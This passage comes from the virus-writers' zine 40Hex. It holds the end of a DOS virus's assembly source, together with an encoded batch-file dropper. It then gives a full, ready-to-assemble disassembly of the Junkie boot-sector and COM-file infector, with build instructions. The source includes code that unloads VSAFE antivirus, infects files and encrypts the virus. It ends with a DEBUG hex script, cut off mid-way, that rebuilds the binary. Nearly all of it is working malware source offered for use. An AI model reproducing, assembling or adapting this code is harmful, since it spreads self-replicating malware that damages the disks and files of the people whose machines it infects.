|
||
inc byte ptr cs:i21 ; the virus
|
||
|
||
not_inst: pop si di cx
|
||
jmp short jmp_i21
|
||
i21: clc
|
||
jc disabled_i21
|
||
push bp
|
||
mov bp,sp
|
||
cmp ah,11
|
||
jz findfirstnext
|
||
cmp ah,12
|
||
jz findfirstnext
|
||
cmp ah,62
|
||
jz inst_check
|
||
cmp ax,3d00
|
||
jnz not_open
|
||
jmp handle_open
|
||
not_open: cmp ah,3f
|
||
jnz jmp_i21
|
||
jmp handle_read
|
||
|
||
|
||
jmp_i21: pop bp
|
||
disabled_i21: db 0ea ; call original int 21
|
||
heap: ; g
|
||
old_i21 dw ?, ? ; handler
|
||
old_i13 dw ?, ?
|
||
init_flag db ?
|
||
|
||
end_zopy:
|
||
org 100 + ((end_zopy - blah + 1ff) / 200) * 200
|
||
orig_PT db 200 dup (?)
|
||
big_buffer db 200 dup (?)
|
||
end_all:
|
||
|
||
end blah
|
||
|
||
; The complimentary decoder included with every copy of blah
|
||
|
||
.model tiny
|
||
.code
|
||
.radix 16
|
||
org 100
|
||
|
||
decode: db '<27>PSBAT!<21>' ; translates to some random code
|
||
|
||
mov di,offset buffer
|
||
db 0bdh ; mov bp, datasize
|
||
datasize dw 'Y0'
|
||
|
||
db 'XYZ' ; more text that is also code
|
||
|
||
neg bp
|
||
push bp
|
||
mov si,offset databytes
|
||
keep_going: mov cx,2020
|
||
xor ch,cl
|
||
decode_line: lodsb
|
||
dec ax ; tens digit
|
||
mov bx,ax
|
||
lodsb
|
||
sub al,'A'
|
||
add ax,bx
|
||
stosb
|
||
|
||
dec bp
|
||
jz all_done
|
||
loop decode_line
|
||
all_done: or bp,bp
|
||
jz no_more
|
||
lodsw ; skip CRLF
|
||
jmp keep_going
|
||
|
||
db 0Dh,0A ; split file into two lines
|
||
|
||
no_more: mov ax,0fcfc
|
||
xor ah,al
|
||
pop cx ; how many bytes to move
|
||
push ax
|
||
xchg ax,di
|
||
mov ax,0a4f3
|
||
stosw
|
||
mov ax,0ebebh ; flush prefetch queue
|
||
xor ah,al
|
||
stosw
|
||
|
||
mov si,offset buffer
|
||
mov di,100 + 4144
|
||
sub di,'AD'
|
||
|
||
retn
|
||
|
||
db 0Dh,0Ah ; split the file s'more
|
||
|
||
databytes:
|
||
|
||
org 5350 ; 50/53 == P/S
|
||
buffer:
|
||
|
||
end decode
|
||
------
|
||
@echo <20>PSBAT!<21><>PS<50><53><EFBFBD>XYZ<59><5A>U<EFBFBD>S<01> 2<><32>H<EFBFBD>ج,AêMt<02><><0B>t<05><><EFBFBD>><3E>.com
|
||
@echo <20><><EFBFBD>2<EFBFBD>YP<59><50><EFBFBD><F3A4ABB8>2૾PS<50>DB<44><42>DA<44>>><3E>.com
|
||
@echo 1D<31>N1D<31>G<EFBFBD>B1M<31>N!AqE!AAFQG<51>KH<>M<EFBFBD>O<EFBFBD>P<EFBFBD>L<EFBFBD>IDC<>O<EFBFBD>G<EFBFBD>LAqO<71>JCA<>K<EFBFBD>AA>><3E>.com
|
||
@echo <20>ND<>KA<>I<EFBFBD>K1OB<>AH<>KE<>J<EFBFBD>EaC<61>N!BAL<41>O<EFBFBD>L<EFBFBD>BaMD<>AA<>BaMC<>AA!O<>I>><3E>.com
|
||
@echo GKG!O<>I1G<31>GC<>O<EFBFBD>O<EFBFBD>LGDE<>D<EFBFBD>KD<>JGDE<>BG<>D<EFBFBD>C<EFBFBD>EG<>EA!O<>DC>><3E>.com
|
||
@echo G!O<>MGEG<>EGAMA!O<>DGG!O<>MGIG<>O<EFBFBD>COP<>OAB<>L<EFBFBD>O<EFBFBD>J<EFBFBD>OC<>D>><3E>.com
|
||
@echo <20>F<EFBFBD>O<EFBFBD>B!G<>HGAMA<>AC!G<>JGAOAL<>NqEE<>IBC1D<31>J<EFBFBD>K<EFBFBD>AA<>O<EFBFBD>BAB<41>LA>><3E>.com
|
||
@echo qM<71>MGQD<51>PaOAL!G<>HG<>EA<>LF!G<>JG<>GAQAQBQCQDOGOOHP<>IBC>><3E>.com
|
||
@echo <20>LAH<>JBA<>K<EFBFBD>AA<>I<EFBFBD>CA!O<>B1OJIAAaFqEK<>A<EFBFBD>AI<>ILG<>CIqFH<>A>><3E>.com
|
||
@echo 1O<31>BIEqGJ<>IED<>LAB<>I<EFBFBD>PAHPQLQKQJQI<51>DACaMaBaI!AqGaJqCqFqD>><3E>.com
|
||
@echo A!IAEAB!PQAQD!JAAAaFaDaIaP!A<>IQAQDACABQE!B<>I<EFBFBD>PQAQD<51>N<EFBFBD>O<EFBFBD>KQIQJQK>><3E>.com
|
||
@echo <20>H<EFBFBD>NQF<51>OQDB<>J!A!A1C<31>J<EFBFBD>MAI<41>L<EFBFBD>I<EFBFBD>M!MABD<>D<EFBFBD>KANqEC<>C<EFBFBD>BL<>NqEF<>N<EFBFBD>L>><3E>.com
|
||
@echo <20>F1O<31>K!OaDaPaNNKAAaFaDaIaP!A<>I<EFBFBD>M<EFBFBD>M1C<31>AQJQA<51>H<EFBFBD>I<EFBFBD>D<EFBFBD>E<EFBFBD>L<EFBFBD>I<EFBFBD>L<EFBFBD>L1C<31>A>><3E>.com
|
||
@echo <20>L<EFBFBD>OQAQD<51>PAEAC<41>B<EFBFBD>PAEAB<41>D1O1O<31>K!OaDaPaNNKAAaJaG!A!F1A!O!A1N1N!A>><3E>.com
|
||
@echo !O!A<>KNKAA<41>KNKAAaEaFaM!A<>K!OaDaPaNNKAAaJaG!A!F1A!O!A1N1N!A>><3E>.com
|
||
@echo !O!AaBqFqEaPaFqIaFaDNKAA!F1ANK<>PqGG!O<>POGG<>M<EFBFBD>PAGG<>D<EFBFBD>M!O>><3E>.com
|
||
@echo <20>POGG<>D<EFBFBD>EAA<41>M!O<>POCG<>D!G<>DaFFAGQHOOPH<>E1P<31>J<EFBFBD>JaMA<>I>><3E>.com
|
||
@echo <20>F<EFBFBD>P<EFBFBD>M<EFBFBD>OJC<>L<EFBFBD>K<EFBFBD>JaMA<>D<EFBFBD>GQPH<>D<EFBFBD>IqDD<>J<EFBFBD>KA<>JqCANQAQDOG<>IQF<51>K>><3E>.com
|
||
@echo 1D<31>A<EFBFBD>O<EFBFBD>A!G<>FO<>EA<>M<EFBFBD>I!O1LGEGqE1AL<>AqE!M1NAIqH!H!G1LG<>CA>><3E>.com
|
||
@echo qF!A!O1LOCGqEJOP<>JOCG<>DEG!G<>HG<>EA<>LF!G<>MO<>GA<>OG>><3E>.com
|
||
@echo <20>GCHPQLQIQF<51>L<EFBFBD>M<EFBFBD>D<EFBFBD>JEqHAB<41>B<EFBFBD>K<EFBFBD>AAqF1L<31>A<EFBFBD>MCqE1M<31>A<EFBFBD>MDqF1B<31>IQC>><3E>.com
|
||
@echo <20>OQGQBQDQA<51>AB1K<31>IqFI<>JEA<>IAA<41>PqCqKQIQA<51>I!MFC<>BqIqBqEaPQB<51>D>><3E>.com
|
||
@echo <20>JF<>H<EFBFBD>J<EFBFBD>A<EFBFBD>HC<>C<EFBFBD>LQJ<51>A<EFBFBD>MB<>LQFQN!O<>P!OGGQGQBQDQA<51>IH<>O<EFBFBD>L<EFBFBD>D<EFBFBD>AB>><3E>.com
|
||
@echo 1K<31>IqFL<>JEA<>IH<>PqCAB<41>A<EFBFBD>HCQIQAQHQA<51>L<EFBFBD>L<EFBFBD>EAC<>B1MFqCC<>AF<>A>><3E>.com
|
||
@echo <20>JBqFBAI!K<>BqEL<>BI<>D<EFBFBD>A<EFBFBD>L<EFBFBD>I<EFBFBD>I<EFBFBD>D<EFBFBD>L<EFBFBD>L<EFBFBD>PQIQP<51>EA<>BJ!L<>D<EFBFBD>H<EFBFBD>O<EFBFBD>D<EFBFBD>O>><3E>.com
|
||
@echo !L<>GqEJ!NA<>O<EFBFBD>JFA<>I<EFBFBD>E<EFBFBD>OQL<51>K<EFBFBD>DQLQJQOQN<51>P<EFBFBD>AD<>P<EFBFBD>PqGG!O<>POCG>><3E>.com
|
||
@echo <20>M<EFBFBD>PAGG<>D<EFBFBD>JAC!L<>JqJED<>N1D<31>N!G<>JaNF<>E1P<31>KAJ<>I<EFBFBD>L<EFBFBD>O!G<>BAFF>><3E>.com
|
||
@echo 1DN!G!JAFF<>I<EFBFBD>M<EFBFBD>OL<>NqF<71>L!G<>JaNF<>JaMA<>KJC<>I<EFBFBD>L<EFBFBD>OGQHOH<>NC>><3E>.com
|
||
@echo F<>OAB<>P<EFBFBD>AA<>J!AA<>MQA!F<>AAAA<41>KQI!FPAEAB<41>KANqEC<>C<EFBFBD>N<EFBFBD>JGA>><3E>.com
|
||
@echo <20>KJC<>IQP<51>O<EFBFBD>L<EFBFBD>P<EFBFBD>K<EFBFBD>AA!L<>K<EFBFBD>IQF<51>O<EFBFBD>JJA<>KaMC<>IAM<41>OL<>NqF<71>HQPH<>J>><3E>.com
|
||
@echo 1MA<>KqFC<>I1N<31>O<EFBFBD>DGQHQGQAQBQCOQD1D<31>G!O<>A1OKGAqF!K<>I!AC<>N!P>><3E>.com
|
||
@echo qC!D1D<31>L!G<>KN<>IGC<>N!PqCHQLQD!G<>PqFF<>IH<>O<EFBFBD>O1DNQLqEC1D<31>GD>><3E>.com
|
||
@echo <20>O!G<>JQNFQLPQKQJQI<51>I!L<>P!G!JqFFQOQPHQN<51>P!O<>A1OKGAqEF!O<>O>><3E>.com
|
||
@echo OKG<>IC<>PqC<71>MQAQBQCQFQGQHOG<>G<EFBFBD>I!E1F<31>N!BGQD<51>H<EFBFBD>OQD<51>L<EFBFBD>CO<>I!E>><3E>.com
|
||
@echo !FOP<>K<EFBFBD>FD<>I<EFBFBD>O<EFBFBD>NP<>M<EFBFBD>MK<>AqEQL1M!OqF<71>H<EFBFBD>NN!A!A1NaCaBqFAO<41>MM!A>><3E>.com
|
||
@echo 1MqEqFAH<41>I!AC<>N!PqCAA1D<31>L!G<>KN<>IGC<>N!PqC1EQLQD!G<>LaNBL<>NqE>><3E>.com
|
||
@echo !K!G<>GAFCC!G<>LAFN!F<>A<EFBFBD>PNPA!G<>JAFN<>IqH<71>NqED<>I<EFBFBD>J<EFBFBD>O!G<>AANG>><3E>.com
|
||
@echo AA!G<>DaFFA!G<>GAFCAQLQKP<>I!E!F<>IQD<51>NHPQPQOQNQKQJQIQN<51>P<EFBFBD>IqH>><3E>.com
|
||
@echo <20>OQAQDQGOG1M<31>PqE1E<31>E!P<>N!BGP<>A1P<31>PqFD<>D<EFBFBD>DH<>BqPJACABqFP<>A>><3E>.com
|
||
@echo qPLQEqFJ<>BqPN1DNqCC<>KAHH!EP1MPqFJ<>AaHH<>A<EFBFBD>BaPN1DNHP>><3E>.com
|
||
@echo QOQLQIQN<51>P<EFBFBD>B<EFBFBD>LE<>JqFAFQGQHQB<51>OAB<>PAB<>J<EFBFBD>AB!O<>D<EFBFBD>GqFK!O<>OG<>A>><3E>.com
|
||
@echo C!O<>OG<>LFQOQPQJ<51>L!F<>IqC!DQF<51>L<EFBFBD>M<EFBFBD>A<EFBFBD>MBqE<71>I<EFBFBD>A<EFBFBD>MCqE<71>D<EFBFBD>A<EFBFBD>MaCqE<71>F>><3E>.com
|
||
@echo 1NA1NqFD<>J<EFBFBD>O<EFBFBD>O<EFBFBD>A<EFBFBD>M1PqFD<>JqJ<71>OQN<51>K>><3E>.com
|
||
@if %0. == . <20>
|
||
@<40>
|
||
@del <20>.com
|
||
@if %0. == . autoexec
|
||
@%0
|
||
@echo Beware.....PLURG!
|
||
------
|
||
|
||
40Hex Number 14 Volume 5 Issue 1 File 006
|
||
|
||
Junkie virus
|
||
|
||
The Junkie virus is an unremarkable boot sector/COM infector that
|
||
has been making the rounds recently. There isn't really that much
|
||
to say about it, except that it sports a lot of poor coding that
|
||
manages to somehow work despite its shortcomings.
|
||
|
||
Dark Angel
|
||
Phalcon/Skism
|
||
|
||
---------------------------
|
||
.model tiny
|
||
.code
|
||
.radix 16
|
||
org 0
|
||
; Junkie virus
|
||
; Disassembly by Dark Angel of Phalcon/Skism for 40Hex #14 Vol 5 Iss 1
|
||
; Byte for byte match when assembled with TASM 2.5
|
||
; To assemble, do the following:
|
||
; tasm /m junkie.asm
|
||
; tlink junkie.obj
|
||
; exe2bin junkie.exe junkie.com
|
||
junkie: mov si,1234 ; if loading from the boot
|
||
org $ - 2 ; sector, loaded at 0:7E00
|
||
decrypt_start dw offset begin_crypt + 100
|
||
mov cx,1F4
|
||
decrypt_loop: xor word ptr es:[si],1234
|
||
org $-2
|
||
cryptval dw 0
|
||
inc si
|
||
inc si
|
||
loop decrypt_loop
|
||
|
||
begin_crypt: mov ax,cs
|
||
cmp ax,0
|
||
je in_boot
|
||
mov di,100
|
||
mov word ptr [di],1234 ; restore original first 4
|
||
org $ - 2 ; bytes to the COM file
|
||
orig4_1 dw 20CDh
|
||
mov word ptr [di+2],1234
|
||
org $ - 2
|
||
orig4_2 dw 0
|
||
push cs di ; push cs:100
|
||
call delta
|
||
delta: pop bx
|
||
sub bx,delta - junkie ; sub bx,27
|
||
mov cl,4
|
||
shr bx,cl
|
||
add ax,bx
|
||
push ax
|
||
mov ax,offset highentry
|
||
push ax
|
||
retf
|
||
|
||
in_boot: mov ds,di
|
||
pop si
|
||
sub word ptr ds:413,3 ; reserve 3K for virus
|
||
mov ax,ds:413
|
||
mov bx,40 ; convert to K
|
||
mul bx
|
||
mov es,ax ; virus segment = es
|
||
mov cx,200 ; move virus up
|
||
cld
|
||
rep movsw
|
||
|
||
cli
|
||
mov di,offset old_i13
|
||
mov si,13*4
|
||
mov ax,offset i13
|
||
call swap_int
|
||
|
||
mov es:check_i21_flag,0
|
||
|
||
mov di,offset old_i1c
|
||
mov si,1c*4
|
||
mov ax,offset i1c
|
||
call swap_int ; timer ticks
|
||
sti
|
||
|
||
mov di,offset old_i21 ; save original int 21
|
||
mov si,21*4 ; handler address
|
||
movsw
|
||
movsw
|
||
pop di ; di = 7C00
|
||
|
||
push cs di es
|
||
mov ax,offset boot_finish
|
||
push ax cs
|
||
pop es
|
||
mov si,7C00 + 200 + BS_first_word - junkie
|
||
movsw ; restore first word
|
||
db 83,0C7h,5E ; add di,5E ; restore original BS code
|
||
call copy_20
|
||
retf ; jmp to boot_finish
|
||
|
||
db 'DrW-3'
|
||
|
||
i13: cmp ax,0201 ; read?
|
||
jnz jmp_i13
|
||
db 83,0F9h,1 ; cmp cx,1 ; boot sector?
|
||
jnz jmp_i13
|
||
db 83,0FAh,0 ; cmp dx,0 ; ditto
|
||
jnz jmp_i13
|
||
push ax bx cx dx di si ds es ; pusha, in a way
|
||
call infect_disk ; if so, infect the disk
|
||
pop es ds si di dx cx bx ax ; popa, of sorts
|
||
jmp_i13: jmp dword ptr cs:old_i13
|
||
|
||
old_i13 dw 0, 0
|
||
|
||
call_i13: pushf
|
||
call dword ptr cs:old_i13
|
||
retn
|
||
|
||
highentry: call uninstall_VSAFE
|
||
push ds es
|
||
xor ax,ax
|
||
mov ds,ax
|
||
push cs
|
||
pop es
|
||
mov di,offset old_i13 ; get original int 13
|
||
mov si,13*4 ; handler address
|
||
cld
|
||
movsw
|
||
movsw
|
||
jmp short COM_finish
|
||
nop ; Why does this still happen?
|
||
boot_finish: push ds es
|
||
COM_finish: mov dl,80 ; infect the hard drive
|
||
mov ah,2
|
||
call infect_disk
|
||
pop es ds
|
||
xor ax,ax
|
||
xor bx,bx
|
||
retf ; return to carrier
|
||
|
||
infect_disk: push cs
|
||
pop ds
|
||
push cs
|
||
pop es
|
||
call disk
|
||
jc inf_disk_exit
|
||
mov di,offset buffer + 60
|
||
cmp word ptr [si],5EEBh ; check if we're already
|
||
jne not_in_boot_yet ; in the boot sector
|
||
cmp word ptr [di],0FF33 ; xor di,di
|
||
je inf_disk_exit
|
||
not_in_boot_yet:cmp dl,0 ; first disk drive?
|
||
jne hard_disk ; if not, assume hard drive
|
||
cmp byte ptr ds:[buffer+15],0F0 ; else check media byte
|
||
je little_floppy ; to see if it is a 3.5" drive
|
||
cmp byte ptr ds:[buffer+15],0F9h ; 5.25" drive?
|
||
jne inf_disk_exit
|
||
large_floppy: mov cl,8 ; sector 8
|
||
jmp short floppy_disk
|
||
nop ; more NOP's for your money
|
||
little_floppy: mov ax,40
|
||
mov ds,ax
|
||
cmp byte ptr ds:90,97 ; check disk 0 status
|
||
je large_floppy
|
||
mov cl,11 ; write to last sector
|
||
floppy_disk: push cs
|
||
pop ds
|
||
mov ch,4F ; write to last track
|
||
jmp short floppy_setup
|
||
nop ; blah
|
||
|
||
hard_disk: mov cx,4 ; write to slack area on hd
|
||
jmp short write_to_disk
|
||
nop ; #$@*
|
||
|
||
floppy_setup: mov dh,1 ; head 1
|
||
write_to_disk: mov load_cx,cx ; remember where the rest of
|
||
mov load_dx,dx ; junkie will be written to
|
||
push dx cx si di
|
||
mov di,offset BS_first_word ; save old boot sector JMP
|
||
movsw ; construct
|
||
pop si ; si -> buffer+60
|
||
call copy_20 ; save old boot sector code
|
||
mov si,di ; si -> JBS_first_word
|
||
pop di ; di -> buffer
|
||
movsw ; encode our JMP to boot sector
|
||
call add_copy_20 ; write our code there
|
||
|
||
mov ax,301h ; write new BS to the disk
|
||
push ax
|
||
call disk
|
||
|
||
pop ax cx dx
|
||
mov al,2 ; junkie is two sectors long
|
||
mov bx,offset buffer ; write it encrypted to disk
|
||
jc inf_disk_exit
|
||
mov decrypt_start,7E00 + (begin_crypt - junkie)
|
||
call encrypt
|
||
call call_i13
|
||
inf_disk_exit: retn
|
||
|
||
disk: mov cx,1
|
||
mov dh,0
|
||
mov al,1
|
||
mov bx,offset buffer ; read/write to/from our buffer
|
||
mov si,bx
|
||
push dx
|
||
call call_i13
|
||
pop dx
|
||
retn
|
||
|
||
add_copy_20: db 83,0C7h,5E ; add di,5E ; move from first word to
|
||
; our code in boot sector
|
||
copy_20: cld
|
||
mov cx,10
|
||
rep movsw
|
||
retn
|
||
|
||
swap_int: push si
|
||
movsw
|
||
movsw
|
||
pop si
|
||
mov [si],ax
|
||
mov [si+2],es
|
||
retn
|
||
|
||
encrypt: push es ds ax bx cx dx si di
|
||
cld
|
||
xor ax,ax ; get timer count
|
||
int 1Ah
|
||
|
||
xor dx,cx ; more time stuff
|
||
mov bx,dx
|
||
mov ah,2
|
||
int 1Ah
|
||
|
||
mov dl,cl ; to calculate an encryption
|
||
xor bx,dx ; value (this is overkill!)
|
||
mov cryptval,bx
|
||
|
||
push cs
|
||
pop es
|
||
mov si,offset junkie
|
||
mov di,offset buffer
|
||
mov cx,200
|
||
rep movsw ; copy virus to the buffer
|
||
|
||
mov di,offset buffer ; and encrypt there
|
||
add di,begin_crypt - junkie
|
||
mov cx,(buffer - junkie) / 2; encrypting too much!
|
||
encrypt_loop: xor [di],bx
|
||
inc di
|
||
inc di
|
||
loop encrypt_loop
|
||
|
||
popa_exit: pop di si dx cx bx ax ds es
|
||
retn
|
||
|
||
uninstall_VSAFE:push es ds ax bx cx dx si di
|
||
mov dx,5945 ; uninstall VSAFE/VWATCH
|
||
mov ax,0FA01
|
||
int 16
|
||
jmp short popa_exit
|
||
|
||
i1c: cmp cs:check_i21_flag,1
|
||
je jmp_i1c
|
||
push ds es ax si di
|
||
mov si,21*4
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov ax,ds:20*4+2 ; get segment of int 20 handler
|
||
cmp ax,800 ; is it too high?
|
||
ja i1c_exit
|
||
cmp ax,0 ; or not set yet?
|
||
je i1c_exit
|
||
cmp [si+2],ax ; is segment of int 21 handler
|
||
jne i1c_exit ; the same?
|
||
cmp ds:27*4+2,ax ; same with int 27 handler
|
||
jne i1c_exit ; i.e. make sure it's dos!
|
||
cli
|
||
mov di,offset old_i21
|
||
push cs
|
||
pop es
|
||
mov ax,offset i21
|
||
call swap_int
|
||
mov cs:check_i21_flag,1
|
||
sti
|
||
i1c_exit: pop di si ax es ds
|
||
jmp_i1c: jmp dword ptr cs:old_i1c
|
||
|
||
old_i1c dw 0FF53, 0F000
|
||
|
||
i21: cmp ax,4B00 ; infect on: execute,
|
||
jz infect_file
|
||
cmp ah,3Dh ; open,
|
||
jz infect_file
|
||
cmp ah,6C ; extended open
|
||
jz infect_file
|
||
jmp_i21: jmp dword ptr cs:old_i21
|
||
|
||
i24: mov al,3
|
||
iret
|
||
|
||
infect_file: push ax bx cx dx di si ds es
|
||
cmp ah,6Ch ; extended open?
|
||
jne ptr_is_ds_dx
|
||
mov dx,si ; now ds:ds -> filename
|
||
ptr_is_ds_dx: call uninstall_VSAFE
|
||
mov cx,ax
|
||
xor ax,ax
|
||
push ds
|
||
mov ds,ax
|
||
les ax,dword ptr ds:24*4 ; get old crit error handler
|
||
mov word ptr ds:24*4,offset i24
|
||
mov word ptr ds:24*4+2,cs ; replace with ours
|
||
pop ds
|
||
push es ax ; save the old one for later
|
||
|
||
mov ax,3D00 ; open the file read/only
|
||
pushf
|
||
call dword ptr cs:old_i21
|
||
jc infect_file_exit
|
||
|
||
push cs
|
||
pop ds
|
||
|
||
mov bx,ax
|
||
push bx
|
||
mov ax,1220
|
||
int 2F
|
||
mov ax,1216
|
||
mov bl,es:[di]
|
||
int 2F ; es:di -> sft
|
||
pop bx
|
||
jc close_exit
|
||
|
||
cmp word ptr es:[di+28h],'OC'; infect only *.CO?
|
||
je infect_COM
|
||
jmp short close_exit
|
||
nop ; Yuck!
|
||
infect_COM: push es di
|
||
mov word ptr es:[di+2],2 ; set open mode to read/write
|
||
call infect
|
||
pop di es
|
||
or byte ptr es:[di+6],40 ; preserve file time/date
|
||
|
||
close_exit: mov ah,3Eh ; close file
|
||
int 21
|
||
|
||
infect_file_exit:
|
||
xor si,si
|
||
mov ds,si
|
||
pop ax
|
||
pop es
|
||
mov ds:24*4,ax ; restore int 24 handler
|
||
mov word ptr ds:24*4+2,es
|
||
pop es ds si di dx cx bx ax
|
||
jmp jmp_i21
|
||
|
||
infect: call move_SOF
|
||
mov cx,1Dh ; reading in more than we need!
|
||
mov ah,3F
|
||
mov dx,offset com_header
|
||
int 21
|
||
jc infect_exit
|
||
|
||
call go_EOF
|
||
mov cx,10
|
||
div cx
|
||
db 83,0FAh,3 ; cmp dx,3
|
||
jz infect_exit
|
||
mov cx,[com_header] ; move first four bytes to
|
||
mov dx,[com_header+2] ; the patch area
|
||
mov orig4_1,cx
|
||
mov orig4_2,dx
|
||
call go_EOF
|
||
cmp ax,1000 ; too small?
|
||
jb infect_exit
|
||
cmp ax,0EA60 ; too large?
|
||
ja infect_exit
|
||
call round_paragraph
|
||
push ax
|
||
add ax,100 + offset begin_crypt - offset junkie
|
||
mov decrypt_start,ax
|
||
pop ax
|
||
mov byte ptr com_header,0E9h
|
||
sub ax,3
|
||
mov word ptr com_header+1,ax
|
||
|
||
mov ah,40 ; writing more than we need!
|
||
mov cx,end_junkie - junkie
|
||
mov dx,offset buffer
|
||
call encrypt
|
||
int 21
|
||
jc infect_exit
|
||
|
||
mov al,0 ; go to the start of the file
|
||
call move_SOF
|
||
mov dx,offset com_header ; patch beginning of COM file
|
||
mov cx,4
|
||
mov ah,40
|
||
int 21
|
||
infect_exit: retn
|
||
|
||
round_paragraph:mov ah,al
|
||
mov al,10
|
||
sub al,ah
|
||
and ax,0F
|
||
mov dx,ax
|
||
mov al,1
|
||
jmp short move_fpointer
|
||
nop ; MASM NOP!
|
||
|
||
go_EOF: mov al,2
|
||
move_SOF: xor dx,dx
|
||
move_fpointer: xor cx,cx
|
||
mov ah,42h
|
||
int 21
|
||
retn
|
||
|
||
old_i21 dw 0, 0
|
||
dw 0 ; unused
|
||
check_i21_flag db 1
|
||
|
||
db 0, 'Dr White - Sweden 1994'
|
||
|
||
BS_first_word dw 0
|
||
|
||
old_BS_code db 20 dup (0) ; storage for original boot
|
||
; sector code from offset
|
||
; 60 to 80
|
||
JBS_first_word dw 05EEBh
|
||
|
||
start_Jboot: xor di,di
|
||
mov si,7C00
|
||
cli
|
||
mov sp,si ; set the stack to 7C00:7C00
|
||
mov ss,di
|
||
sti
|
||
mov es,di ; es = 7C00 (junkie work seg)
|
||
mov ax,202h ; read junkie into memory
|
||
mov bx,7C00 + 200 ; starting at 0:7E00
|
||
mov cx,4
|
||
org $ - 2
|
||
load_cx dw 4
|
||
mov dx,80
|
||
org $ - 2
|
||
load_dx dw 80
|
||
push si bx ; push 0:7C00
|
||
int 13
|
||
; the next line loads at offset 7C80 - 3
|
||
jmp $+3+200-80 ; jmp to 7E00 (decryptor)
|
||
end_Jboot: ; ($ - start_Jboot = 20)
|
||
|
||
db 'Junkie Virus - Written in Malmo...M01D'
|
||
|
||
dw -1 ; unused
|
||
|
||
com_header dw 0, 0
|
||
buffer: db 1bh dup (0)
|
||
end_junkie:
|
||
end junkie
|
||
---------------------------
|
||
N junkie.com
|
||
E 0100 BE 0F 01 B9 F4 01 26 81 34 00 00 46 46 E2 F7 8C
|
||
E 0110 C8 3D 00 00 74 21 BF 00 01 C7 05 CD 20 C7 45 02
|
||
E 0120 00 00 0E 57 E8 00 00 5B 83 EB 27 B1 04 D3 EB 03
|
||
E 0130 C3 50 B8 C3 00 50 CB 8E DF 5E 83 2E 13 04 03 A1
|
||
E 0140 13 04 BB 40 00 F7 E3 8E C0 B9 00 02 FC F3 A5 FA
|
||
E 0150 BF B8 00 BE 4C 00 B8 91 00 E8 30 01 26 C6 06 60
|
||
E 0160 03 00 BF 33 02 BE 70 00 B8 EA 01 E8 1E 01 FB BF
|
||
E 0170 5A 03 BE 84 00 A5 A5 5F 0E 57 06 B8 DA 00 50 0E
|
||
E 0180 07 BE 78 81 A5 83 C7 5E E8 FA 00 CB 44 72 57 2D
|
||
E 0190 33 3D 01 02 75 1D 83 F9 01 75 18 83 FA 00 75 13
|
||
E 01A0 50 53 51 52 57 56 1E 06 E8 3F 00 07 1F 5E 5F 5A
|
||
E 01B0 59 5B 58 2E FF 2E B8 00 00 00 00 00 9C 2E FF 1E
|
||
E 01C0 B8 00 C3 E8 12 01 1E 06 33 C0 8E D8 0E 07 BF B8
|
||
E 01D0 00 BE 4C 00 FC A5 A5 EB 03 90 1E 06 B2 80 B4 02
|
||
E 01E0 E8 07 00 07 1F 33 C0 33 DB CB 0E 1F 0E 07 E8 7F
|
||
E 01F0 00 72 7C BF 48 04 81 3C EB 5E 75 06 81 3D 33 FF
|
||
E 0200 74 6D 80 FA 00 75 28 80 3E FD 03 F0 74 0C 80 3E
|
||
E 0210 FD 03 F9 75 5A B1 08 EB 0F 90 B8 40 00 8E D8 80
|
||
E 0220 3E 90 00 97 74 EF B1 11 0E 1F B5 4F EB 07 90 B9
|
||
E 0230 04 00 EB 03 90 B6 01 89 0E B0 03 89 16 B3 03 52
|
||
E 0240 51 56 57 BF 78 03 A5 5E E8 3A 00 8B F7 5F A5 E8
|
||
E 0250 30 00 B8 01 03 50 E8 17 00 58 59 5A B0 02 BB E8
|
||
E 0260 03 72 0C C7 06 01 00 0F 7E E8 2A 00 E8 4D FF C3
|
||
E 0270 B9 01 00 B6 00 B0 01 BB E8 03 8B F3 52 E8 3C FF
|
||
E 0280 5A C3 83 C7 5E FC B9 10 00 F3 A5 C3 56 A5 A5 5E
|
||
E 0290 89 04 8C 44 02 C3 06 1E 50 53 51 52 56 57 FC 33
|
||
E 02A0 C0 CD 1A 33 D1 8B DA B4 02 CD 1A 8A D1 33 DA 89
|
||
E 02B0 1E 09 00 0E 07 BE 00 00 BF E8 03 B9 00 02 F3 A5
|
||
E 02C0 BF E8 03 83 C7 0F B9 F4 01 31 1D 47 47 E2 FA 5F
|
||
E 02D0 5E 5A 59 5B 58 1F 07 C3 06 1E 50 53 51 52 56 57
|
||
E 02E0 BA 45 59 B8 01 FA CD 16 EB E5 2E 80 3E 60 03 01
|
||
E 02F0 74 3C 1E 06 50 56 57 BE 84 00 33 C0 8E D8 A1 82
|
||
E 0300 00 3D 00 08 77 23 3D 00 00 74 1E 39 44 02 75 19
|
||
E 0310 39 06 9E 00 75 13 FA BF 5A 03 0E 07 B8 37 02 E8
|
||
E 0320 6A FF 2E C6 06 60 03 01 FB 5F 5E 58 07 1F 2E FF
|
||
E 0330 2E 33 02 53 FF 00 F0 3D 00 4B 74 12 80 FC 3D 74
|
||
E 0340 0D 80 FC 6C 74 08 2E FF 2E 5A 03 B0 03 CF 50 53
|
||
E 0350 51 52 57 56 1E 06 80 FC 6C 75 02 8B D6 E8 78 FF
|
||
E 0360 8B C8 33 C0 1E 8E D8 C4 06 90 00 C7 06 90 00 4B
|
||
E 0370 02 8C 0E 92 00 1F 06 50 B8 00 3D 9C 2E FF 1E 5A
|
||
E 0380 03 72 36 0E 1F 8B D8 53 B8 20 12 CD 2F B8 16 12
|
||
E 0390 26 8A 1D CD 2F 5B 72 1D 26 81 7D 28 43 4F 74 03
|
||
E 03A0 EB 13 90 06 57 26 C7 45 02 02 00 E8 23 00 5F 07
|
||
E 03B0 26 80 4D 06 40 B4 3E CD 21 33 F6 8E DE 58 07 A3
|
||
E 03C0 90 00 8C 06 92 00 07 1F 5E 5F 5A 59 5B 58 E9 75
|
||
E 03D0 FF E8 7D 00 B9 1D 00 B4 3F BA E4 03 CD 21 72 5E
|
||
E 03E0 E8 6C 00 B9 10 00 F7 F1 83 FA 03 74 51 8B 0E E4
|
||
E 03F0 03 8B 16 E6 03 89 0E 1B 00 89 16 20 00 E8 4F 00
|
||
E 0400 3D 00 10 72 39 3D 60 EA 77 34 E8 32 00 50 05 0F
|
||
E 0410 01 A3 01 00 58 C6 06 E4 03 E9 2D 03 00 A3 E5 03
|
||
E 0420 B4 40 B9 03 04 BA E8 03 E8 6B FE CD 21 72 0F B0
|
||
E 0430 00 E8 1D 00 BA E4 03 B9 04 00 B4 40 CD 21 C3 8A
|
||
